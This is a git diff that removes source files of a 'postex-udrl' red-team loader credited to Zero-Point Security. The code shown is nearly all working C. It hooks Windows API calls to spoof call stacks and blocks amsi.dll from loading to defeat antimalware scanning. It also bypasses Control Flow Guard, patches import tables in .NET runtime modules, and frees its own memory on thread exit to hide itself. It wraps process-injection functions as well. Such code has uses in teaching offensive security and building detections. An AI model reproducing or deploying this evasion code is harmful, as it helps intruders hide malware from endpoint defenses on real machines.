WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define NTDLLDLL_HASH 0x3CFA685D - -#define TEXT_HASH 0xEBC2F9B4 - -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define LOADLIBRARYW_HASH 0xEC0E4EA4 -#define LOADLIBRARYEXW_HASH 0x753A512 -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9 -#define GETMODULEHANDLEA_HASH 0xD3324904 -#define VIRTUALALLOC_HASH 0x91AFCA54 -#define VIRTUALALLOCEX_HASH 0x6E1A959C -#define VIRTUALPROTECT_HASH 0x7946C61B -#define VIRTUALPROTECTEX_HASH 0x53D98756 -#define VIRTUALFREE_HASH 0x30633AC -#define GETTHREADCONTEXT_HASH 0x68A7C7D2 -#define SETTHREADCONTEXT_HASH 0xE8A7C7D3 -#define INTERNETOPENA_HASH 0x57E84429 -#define INTERNETCONNECTA_HASH 0x1E4BE80E -#define RESUMETHREAD_HASH 0x9E4A3F88 -#define CREATETHREAD_HASH 0xCA2BD06B -#define CREATEREMOTETHREAD_HASH 0x72BD9CDD -#define OPENPROCESS_HASH 0xEFE297C0 -#define OPENTHREAD_HASH 0x58C91E6F -#define CLOSEHANDLE_HASH 0xFFD97FB -#define CREATEFILEMAPPINGA_HASH 0x56C61229 -#define MAPVIEWOFFILE_HASH 0x7B073C59 -#define UNMAPVIEWOFFILE_HASH 0xB2089259 -#define VIRTUALQUERY_HASH 0xA3C8C8AA -#define DUPLICATEHANDLE_HASH 0xBD566724 -#define READPROCESSMEMORY_HASH 0x579D1BE9 -#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1 -#define EXITTHREAD_HASH 0x60E0CEEF -#define CREATEPROCESSA_HASH 0x16B3FE72 -#define SLEEP_HASH 0xDB2D49B0 - -#define HASH_KEY 13 - -#ifndef __MINGW32__ -#pragma intrinsic( _rotr ) -#endif - -__forceinline DWORD ror( DWORD d ) { - return _rotr( d, HASH_KEY ); -} - -__forceinline DWORD hash( char * c ) -{ - register DWORD h = 0; - do - { - h = ror( h ); - h += *c; - } while( *++c ); - - return h; -} \ No newline at end of file diff --git a/postex-udrl/src/hook.c b/postex-udrl/src/hook.c deleted file mode 100644 index 3295c7d..0000000 --- a/postex-udrl/src/hook.c +++ /dev/null @@ -1,720 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include -#include "hook.h" -#include "cfg.h" -#include "tcg.h" - -/* store resolved functions */ -void * g_ExitThread; - -/* some globals */ -MEMORY_LAYOUT g_layout; - -LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualAlloc); - call.argc = 4; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(dwSize); - call.args[2] = (ULONG_PTR)(flAllocationType); - call.args[3] = (ULONG_PTR)(flProtect); - - return (LPVOID)draugr(&call); -} - -LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualAllocEx); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpAddress); - call.args[2] = (ULONG_PTR)(dwSize); - call.args[3] = (ULONG_PTR)(flAllocationType); - call.args[4] = (ULONG_PTR)(flProtect); - - return (LPVOID)draugr(&call); -} - -BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualProtect); - call.argc = 4; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(dwSize); - call.args[2] = (ULONG_PTR)(flNewProtect); - call.args[3] = (ULONG_PTR)(lpflOldProtect); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualProtectEx); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpAddress); - call.args[2] = (ULONG_PTR)(dwSize); - call.args[3] = (ULONG_PTR)(flNewProtect); - call.args[4] = (ULONG_PTR)(lpflOldProtect); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualFree); - call.argc = 3; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(dwSize); - call.args[2] = (ULONG_PTR)(dwFreeType); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$GetThreadContext); - call.argc = 2; - call.args[0] = (ULONG_PTR)(hThread); - call.args[1] = (ULONG_PTR)(lpContext); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$SetThreadContext); - call.argc = 2; - call.args[0] = (ULONG_PTR)(hThread); - call.args[1] = (ULONG_PTR)(lpContext); - - return (BOOL)draugr(&call); -} - -DWORD WINAPI _ResumeThread(HANDLE hThread) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$ResumeThread); - call.argc = 1; - call.args[0] = (ULONG_PTR)(hThread); - - return (DWORD)draugr(&call); -} - -HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateThread); - call.argc = 6; - call.args[0] = (ULONG_PTR)(lpThreadAttributes); - call.args[1] = (ULONG_PTR)(dwStackSize); - call.args[2] = (ULONG_PTR)(lpStartAddress); - call.args[3] = (ULONG_PTR)(lpParameter); - call.args[4] = (ULONG_PTR)(dwCreationFlags); - call.args[5] = (ULONG_PTR)(lpThreadId); - - return (HANDLE)draugr(&call); -} - -HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateRemoteThread); - call.argc = 7; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpThreadAttributes); - call.args[2] = (ULONG_PTR)(dwStackSize); - call.args[3] = (ULONG_PTR)(lpStartAddress); - call.args[4] = (ULONG_PTR)(lpParameter); - call.args[5] = (ULONG_PTR)(dwCreationFlags); - call.args[6] = (ULONG_PTR)(lpThreadId); - - return (HANDLE)draugr(&call); -} - -HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$OpenProcess); - call.argc = 3; - call.args[0] = (ULONG_PTR)(dwDesiredAccess); - call.args[1] = (ULONG_PTR)(bInheritHandle); - call.args[2] = (ULONG_PTR)(dwProcessId); - - return (HANDLE)draugr(&call); -} - -HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$OpenThread); - call.argc = 3; - call.args[0] = (ULONG_PTR)(dwDesiredAccess); - call.args[1] = (ULONG_PTR)(bInheritHandle); - call.args[2] = (ULONG_PTR)(dwThreadId); - - return (HANDLE)draugr(&call); -} - -BOOL WINAPI _CloseHandle(HANDLE hObject) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CloseHandle); - call.argc = 1; - call.args[0] = (ULONG_PTR)(hObject); - - return (BOOL)draugr(&call); -} - -HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateFileMappingA); - call.argc = 6; - call.args[0] = (ULONG_PTR)(hFile); - call.args[1] = (ULONG_PTR)(lpFileMappingAttributes); - call.args[2] = (ULONG_PTR)(flProtect); - call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh); - call.args[4] = (ULONG_PTR)(dwMaximumSizeLow); - call.args[5] = (ULONG_PTR)(lpName); - - return (HANDLE)draugr(&call); -} - -LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$MapViewOfFile); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hFileMappingObject); - call.args[1] = (ULONG_PTR)(dwDesiredAccess); - call.args[2] = (ULONG_PTR)(dwFileOffsetHigh); - call.args[3] = (ULONG_PTR)(dwFileOffsetLow); - call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap); - - return (LPVOID)draugr(&call); -} - -BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$MapViewOfFile); - call.argc = 1; - call.args[0] = (ULONG_PTR)(lpBaseAddress); - - return (BOOL)draugr(&call); -} - -SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualQuery); - call.argc = 3; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(lpBuffer); - call.args[2] = (ULONG_PTR)(dwLength); - - return (SIZE_T)draugr(&call); -} - -BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$DuplicateHandle); - call.argc = 7; - call.args[0] = (ULONG_PTR)(hSourceProcessHandle); - call.args[1] = (ULONG_PTR)(hSourceHandle); - call.args[2] = (ULONG_PTR)(hTargetProcessHandle); - call.args[3] = (ULONG_PTR)(lpTargetHandle); - call.args[4] = (ULONG_PTR)(dwDesiredAccess); - call.args[5] = (ULONG_PTR)(bInheritHandle); - call.args[6] = (ULONG_PTR)(dwOptions); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$ReadProcessMemory); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpBaseAddress); - call.args[2] = (ULONG_PTR)(lpBuffer); - call.args[3] = (ULONG_PTR)(nSize); - call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$WriteProcessMemory); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpBaseAddress); - call.args[2] = (ULONG_PTR)(lpBuffer); - call.args[3] = (ULONG_PTR)(nSize); - call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten); - - return (BOOL)draugr(&call); -} - -DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode) -{ - /* is cfg enabled? */ - BOOL cfgEnabled = CfgEnabled(); - - if (cfgEnabled) { - /* try to bypass it at NtContinue */ - if (BypassCfg(NTDLL$NtContinue)) { - cfgEnabled = FALSE; - } - } - - if (!cfgEnabled) - { - CONTEXT ctx; - memset(&ctx, 0, sizeof(CONTEXT)); - - ctx.ContextFlags = CONTEXT_ALL; - - HANDLE hTimerQueue = NULL; - HANDLE hNewTimer = NULL; - - hTimerQueue = KERNEL32$CreateTimerQueue(); - - if (KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(KERNEL32$RtlCaptureContext), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD)) - { - KERNEL32$Sleep(1000); - - if (ctx.Rip != 0) - { - HANDLE hHeap = KERNEL32$GetProcessHeap(); - PCONTEXT ctxFree = (PCONTEXT)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(CONTEXT) * 3); - - for (int i = 0; i < 3; i++) { - memcpy(&ctxFree[i], &ctx, sizeof(CONTEXT)); - } - - ctxFree[0].Rsp -= sizeof(PVOID); - ctxFree[0].Rip = (DWORD64)(KERNEL32$VirtualFree); - ctxFree[0].Rcx = (DWORD64)(g_layout.dll.baseAddress); - ctxFree[0].Rdx = (DWORD64)(0); - ctxFree[0].R8 = (DWORD64)(MEM_RELEASE); - - ctxFree[1].Rsp -= sizeof(PVOID); - ctxFree[1].Rip = (DWORD64)(KERNEL32$VirtualFree); - ctxFree[1].Rcx = (DWORD64)(g_layout.hooks.baseAddress); - ctxFree[1].Rdx = (DWORD64)(0); - ctxFree[1].R8 = (DWORD64)(MEM_RELEASE); - - ctxFree[2].Rsp -= sizeof(PVOID); - ctxFree[2].Rip = (DWORD64)(KERNEL32$VirtualFree); - ctxFree[2].Rcx = (DWORD64)(g_layout.pic.baseAddress); - ctxFree[2].Rdx = (DWORD64)(0); - ctxFree[2].R8 = (DWORD64)(MEM_RELEASE); - - KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[0], 500, 0, WT_EXECUTEINTIMERTHREAD); - KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[1], 500, 0, WT_EXECUTEINTIMERTHREAD); - KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[2], 500, 0, WT_EXECUTEINTIMERTHREAD); - } - } - } - - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(g_ExitThread); - call.argc = 1; - call.args[0] = (ULONG_PTR)(dwExitCode); - - draugr(&call); -} - -BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$CreateProcessA); - call.argc = 10; - call.args[0] = (ULONG_PTR)(lpApplicationName); - call.args[1] = (ULONG_PTR)(lpCommandLine); - call.args[2] = (ULONG_PTR)(lpProcessAttributes); - call.args[3] = (ULONG_PTR)(lpThreadAttributes); - call.args[4] = (ULONG_PTR)(bInheritHandles); - call.args[5] = (ULONG_PTR)(dwCreationFlags); - call.args[6] = (ULONG_PTR)(lpEnvironment); - call.args[7] = (ULONG_PTR)(lpCurrentDirectory); - call.args[8] = (ULONG_PTR)(lpStartupInfo); - call.args[9] = (ULONG_PTR)(lpProcessInformation); - - return (BOOL)draugr(&call); -} - -VOID WINAPI _Sleep(DWORD dwMilliseconds) -{ - /* only stack spoof if sleep is >= 1s */ - if (dwMilliseconds < 1000) { - KERNEL32$Sleep(dwMilliseconds); - return; - } - - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$Sleep); - call.argc = 1; - call.args[0] = (ULONG_PTR)(dwMilliseconds); - - draugr(&call); -} - -HMODULE WINAPI _LoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags) -{ - /* get name of dll being loaded */ - LPCWSTR back = MSVCRT$wcsrchr(lpLibFileName, L'\\'); - LPCWSTR fwd = MSVCRT$wcsrchr(lpLibFileName, L'/'); - LPCWSTR name = back > fwd ? back : fwd; - - if (name) { name++; } - else { name = lpLibFileName; } - - if (MSVCRT$_wcsicmp(name, L"amsi.dll") == 0) { - /* return without loading (─ ‿ ─) */ - return NULL; - } - - /* spoof the call */ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$LoadLibraryExW); - call.argc = 3; - call.args[0] = (ULONG_PTR)(lpLibFileName); - call.args[1] = (ULONG_PTR)(hFile); - call.args[2] = (ULONG_PTR)(dwFlags); - - /* hold the result */ - HMODULE result = (HMODULE)draugr(&call); - - /* check to see if it's mscoreei.dll or clr.dll */ - if (MSVCRT$_wcsicmp(name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp(name, L"clr.dll") == 0) - { - /* walk the IAT and hook LoadLibraryExW */ - PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)result; - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)result + dosHeaders->e_lfanew); - - IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)result); - - while (importDescriptor->Name != 0) - { - PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->OriginalFirstThunk); - PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->FirstThunk); - - while (originalFirstThunk->u1.AddressOfData != 0) - { - PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)result + originalFirstThunk->u1.AddressOfData); - BOOL isOrdinal = (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0; - - if (!isOrdinal) - { - DWORD h = hash((char *)(functionName->Name)); - - if (h == LOADLIBRARYEXW_HASH) - { - DWORD oldProtect = 0; - - if (_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect)) - { - firstThunk->u1.Function = (DWORD_PTR)(_LoadLibraryExW); - _VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, oldProtect, &oldProtect); - } - - break; - } - } - - ++originalFirstThunk; - ++firstThunk; - } - - importDescriptor++; - } - } - - return result; -} - -HMODULE WINAPI _LoadLibraryW(LPCWSTR lpLibFileName) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$LoadLibraryW); - call.argc = 1; - call.args[0] = (ULONG_PTR)(lpLibFileName); - - /* hold the result */ - HMODULE result = (HMODULE)draugr(&call); - - /* was this mscoree.dll? */ - if (MSVCRT$_wcsicmp(lpLibFileName, L"mscoree.dll") == 0) - { - /* parse the module's headers */ - PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)result; - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)result + dosHeaders->e_lfanew); - - /* get the import directory */ - IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)result); - - /* walk every imported module */ - while (importDescriptor->Name != 0) - { - PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->OriginalFirstThunk); - PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->FirstThunk); - - /* walk every imported function */ - while (originalFirstThunk->u1.AddressOfData != 0) - { - PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)result + originalFirstThunk->u1.AddressOfData); - BOOL isOrdinal = (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0; - - if (!isOrdinal) - { - DWORD h = hash((char *)(functionName->Name)); - - /* is the imported function LoadLibraryExW? */ - if (h == LOADLIBRARYEXW_HASH) - { - /* yep, hook it */ - DWORD oldProtect = 0; - if (_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect)) - { - firstThunk->u1.Function = (DWORD_PTR)(_LoadLibraryExW); - _VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, oldProtect, &oldProtect); - } - - break; - } - } - - ++originalFirstThunk; - ++firstThunk; - } - - importDescriptor++; - } - } - - /* now return the module */ - return result; -} - -HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(LoadLibraryA); - call.argc = 1; - call.args[0] = (ULONG_PTR)(lpLibFileName); - - return (HMODULE)draugr(&call); -} - -char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) -{ - char * result = (char *)GetProcAddress(hModule, lpProcName); - - /* - * Check to see what function is being resolved. - * Note that lpProcName may be an ordinal, not a string. - */ - - if ((ULONG_PTR)lpProcName >> 16 == 0) { - /* it's an ordinal */ - return result; - } - - /* Look at the ones we want to hook */ - - /* Calculte function hash */ - DWORD h = hash((char *)lpProcName); - - if (h == GETPROCADDRESS_HASH) { - return (char *)_GetProcAddress; - } - else if (h == LOADLIBRARYA_HASH) { - return (char *)_LoadLibraryA; - } - else if (h == LOADLIBRARYW_HASH) { - return (char *)_LoadLibraryW; - } - else if (h == LOADLIBRARYEXW_HASH) { - return (char*)_LoadLibraryExW; - } - else if (h == VIRTUALALLOC_HASH) { - return (char *)_VirtualAlloc; - } - else if (h == VIRTUALALLOCEX_HASH) { - return (char *)_VirtualAllocEx; - } - else if (h == VIRTUALPROTECT_HASH) { - return (char *)_VirtualProtect; - } - else if (h == VIRTUALPROTECTEX_HASH) { - return (char *)_VirtualProtectEx; - } - else if (h == VIRTUALFREE_HASH) { - return (char *)_VirtualFree; - } - else if (h == GETTHREADCONTEXT_HASH) { - return (char *)_GetThreadContext; - } - else if (h == SETTHREADCONTEXT_HASH) { - return (char *)_SetThreadContext; - } - else if (h == RESUMETHREAD_HASH) { - return (char *)_ResumeThread; - } - else if (h == CREATETHREAD_HASH) { - return (char *)_CreateThread; - } - else if (h == CREATEREMOTETHREAD_HASH) { - return (char *)_CreateRemoteThread; - } - else if (h == OPENPROCESS_HASH) { - return (char *)_OpenProcess; - } - else if (h == OPENTHREAD_HASH) { - return (char *)_OpenThread; - } - else if (h == CLOSEHANDLE_HASH) { - return (char *)_CloseHandle; - } - else if (h == CREATEFILEMAPPINGA_HASH) { - return (char *)_CreateFileMappingA; - } - else if (h == MAPVIEWOFFILE_HASH) { - return (char *)_MapViewOfFile; - } - else if (h == UNMAPVIEWOFFILE_HASH) { - return (char *)_UnmapViewOfFile; - } - else if (h == VIRTUALQUERY_HASH) { - return (char *)_VirtualQuery; - } - else if (h == DUPLICATEHANDLE_HASH) { - return (char *)_DuplicateHandle; - } - else if (h == READPROCESSMEMORY_HASH) { - return (char *)_ReadProcessMemory; - } - else if (h == WRITEPROCESSMEMORY_HASH) { - return (char *)_WriteProcessMemory; - } - else if (h == EXITTHREAD_HASH) { - g_ExitThread = result; - return (char *)_ExitThread; - } - else if (h == CREATEPROCESSA_HASH) { - return (char *)_CreateProcessA; - } - else if (h == SLEEP_HASH) { - return (char *)_Sleep; - } - - return result; -} - -void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout) -{ - funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA; - funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress; - - if (layout != NULL) { - g_layout = *layout; - } - - initFrameInfo(); -} \ No newline at end of file diff --git a/postex-udrl/src/hook.h b/postex-udrl/src/hook.h deleted file mode 100644 index ff5b840..0000000 --- a/postex-udrl/src/hook.h +++ /dev/null @@ -1,433 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 